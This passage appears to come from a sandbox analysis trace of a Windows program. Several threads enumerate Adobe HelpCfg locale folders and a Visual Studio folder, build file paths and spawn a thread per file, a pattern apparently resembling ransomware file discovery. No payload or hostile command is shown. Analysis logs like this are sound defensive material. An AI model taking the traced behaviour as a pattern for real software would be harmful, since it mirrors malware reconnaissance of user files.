dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4409e0 [0051.268] wcscmp (_String1=".", _String2=".") returned 0 [0051.268] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.268] wcscmp (_String1="..", _String2=".") returned 1 [0051.268] wcscmp (_String1="..", _String2="..") returned 0 [0051.268] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 1 [0051.269] wcscmp (_String1="ItemTemplates", _String2=".") returned 1 [0051.269] wcscmp (_String1="ItemTemplates", _String2="..") returned 1 [0051.269] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43d888 [0051.269] wcscpy (in: _Dest=0x43d888, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0051.269] wcscat (in: _Dest=0x43d888, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\" [0051.269] wcscat (in: _Dest=0x43d888, _Source="ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0057.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43d888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xca0 [0057.813] FindNextFileW (in: hFindFile=0x4409e0, lpFindFileData=0x4303a0 | out: lpFindFileData=0x4303a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 0 [0057.813] FindClose (in: hFindFile=0x4409e0 | out: hFindFile=0x4409e0) returned 1 [0057.813] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4303a0) returned 1 [0057.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417e90) returned 1 [0057.814] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416ae0) returned 1 Thread: id = 700 os_tid = 0x56c [0051.082] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f3b8 [0051.082] wcscpy (in: _Dest=0x45f3b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" [0051.082] wcscat (in: _Dest=0x45f3b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\" [0051.082] wcscat (in: _Dest=0x45f3b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*" [0051.082] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42f060 [0051.082] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a5fe0 [0060.796] wcscmp (_String1=".", _String2=".") returned 0 [0060.796] FindNextFileW (in: hFindFile=0x4a5fe0, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.796] wcscmp (_String1="..", _String2=".") returned 1 [0060.796] wcscmp (_String1="..", _String2="..") returned 0 [0060.796] FindNextFileW (in: hFindFile=0x4a5fe0, lpFindFileData=0x42f060 | out: lpFindFileData=0x42f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.796] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.796] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.796] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4f08 [0060.797] wcscpy (in: _Dest=0x5ec4f08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES" [0060.797] wcscat (in: _Dest=0x5ec4f08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\" [0060.797] wcscat (in: _Dest=0x5ec4f08, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\Reader_10.0.helpcfg" Thread: id = 701 os_tid = 0xcbc [0051.083] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f438 [0051.083] wcscpy (in: _Dest=0x45f438, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" [0051.083] wcscat (in: _Dest=0x45f438, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\" [0051.083] wcscat (in: _Dest=0x45f438, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*" [0051.083] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42edf8 [0051.083] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440f60 [0055.500] wcscmp (_String1=".", _String2=".") returned 0 [0055.500] FindNextFileW (in: hFindFile=0x440f60, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.500] wcscmp (_String1="..", _String2=".") returned 1 [0055.500] wcscmp (_String1="..", _String2="..") returned 0 [0055.500] FindNextFileW (in: hFindFile=0x440f60, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0055.500] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0055.500] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0055.500] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eebf8 [0055.500] wcscpy (in: _Dest=0x4eebf8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ" [0055.500] wcscat (in: _Dest=0x4eebf8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\" [0055.500] wcscat (in: _Dest=0x4eebf8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg" [0065.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eebf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8 [0065.420] FindNextFileW (in: hFindFile=0x440f60, lpFindFileData=0x42edf8 | out: lpFindFileData=0x42edf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0065.420] FindClose (in: hFindFile=0x440f60 | out: hFindFile=0x440f60) returned 1 [0065.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42edf8) returned 1 [0065.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f438) returned 1 [0065.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ff8) returned 1 Thread: id = 702 os_tid = 0x840 [0051.084] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f4b8 [0051.084] wcscpy (in: _Dest=0x45f4b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" [0051.084] wcscat (in: _Dest=0x45f4b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\" [0051.084] wcscat (in: _Dest=0x45f4b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*" [0051.084] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4867f0 [0051.084] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", lpFindFileData=0x4867f0 | out: lpFindFileData=0x4867f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ce8 [0059.056] wcscmp (_String1=".", _String2=".") returned 0 [0059.056] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x4867f0 | out: lpFindFileData=0x4867f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.056] wcscmp (_String1="..", _String2=".") returned 1 [0059.056] wcscmp (_String1="..", _String2="..") returned 0 [0059.056] FindNextFileW (in: hFindFile=0x409ce8, lpFindFileData=0x4867f0 | out: lpFindFileData=0x4867f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0059.056] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0059.056] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0059.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4b48 [0059.056] wcscpy (in: _Dest=0x5ec4b48, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK" [0059.056] wcscat (in: _Dest=0x5ec4b48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\" [0059.056] wcscat (in: _Dest=0x5ec4b48, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\Reader_10.0.helpcfg" Thread: id = 703 os_tid = 0x830 [0051.085] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f538 [0051.085] wcscpy (in: _Dest=0x45f538, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" [0051.085] wcscat (in: _Dest=0x45f538, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\" [0051.085] wcscat (in: _Dest=0x45f538, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*" [0051.085] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x485be8 [0051.085] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", lpFindFileData=0x485be8 | out: lpFindFileData=0x485be8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6060 [0060.798] wcscmp (_String1=".", _String2=".") returned 0 [0060.798] FindNextFileW (in: hFindFile=0x4a6060, lpFindFileData=0x485be8 | out: lpFindFileData=0x485be8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.798] wcscmp (_String1="..", _String2=".") returned 1 [0060.798] wcscmp (_String1="..", _String2="..") returned 0 [0060.798] FindNextFileW (in: hFindFile=0x4a6060, lpFindFileData=0x485be8 | out: lpFindFileData=0x485be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.798] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.798] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.798] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5048 [0060.798] wcscpy (in: _Dest=0x5ec5048, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE" [0060.798] wcscat (in: _Dest=0x5ec5048, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\" [0060.798] wcscat (in: _Dest=0x5ec5048, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\Reader_10.0.helpcfg" Thread: id = 704 os_tid = 0x828 [0051.086] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f5b8 [0051.086] wcscpy (in: _Dest=0x45f5b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" [0051.086] wcscat (in: _Dest=0x45f5b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\" [0051.086] wcscat (in: _Dest=0x45f5b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*" [0051.086] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4854b0 [0051.086] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x4854b0 | out: lpFindFileData=0x4854b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a60a0 [0060.798] wcscmp (_String1=".", _String2=".") returned 0 [0060.799] FindNextFileW (in: hFindFile=0x4a60a0, lpFindFileData=0x4854b0 | out: lpFindFileData=0x4854b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.799] wcscmp (_String1="..", _String2=".") returned 1 [0060.799] wcscmp (_String1="..", _String2="..") returned 0 [0060.799] FindNextFileW (in: hFindFile=0x4a60a0, lpFindFileData=0x4854b0 | out: lpFindFileData=0x4854b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.799] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.799] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec50e8 [0060.799] wcscpy (in: _Dest=0x5ec50e8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US" [0060.799] wcscat (in: _Dest=0x5ec50e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\" [0060.799] wcscat (in: _Dest=0x5ec50e8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\Reader_10.0.helpcfg" Thread: id = 705 os_tid = 0x864 [0051.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f638 [0051.087] wcscpy (in: _Dest=0x45f638, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES" [0051.087] wcscat (in: _Dest=0x45f638, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\" [0051.087] wcscat (in: _Dest=0x45f638, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*" [0051.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x487190 [0051.087] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a60e0 [0060.799] wcscmp (_String1=".", _String2=".") returned 0 [0060.799] FindNextFileW (in: hFindFile=0x4a60e0, lpFindFileData=0x487190 | out: lpFindFileData=0x487190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.799] wcscmp (_String1="..", 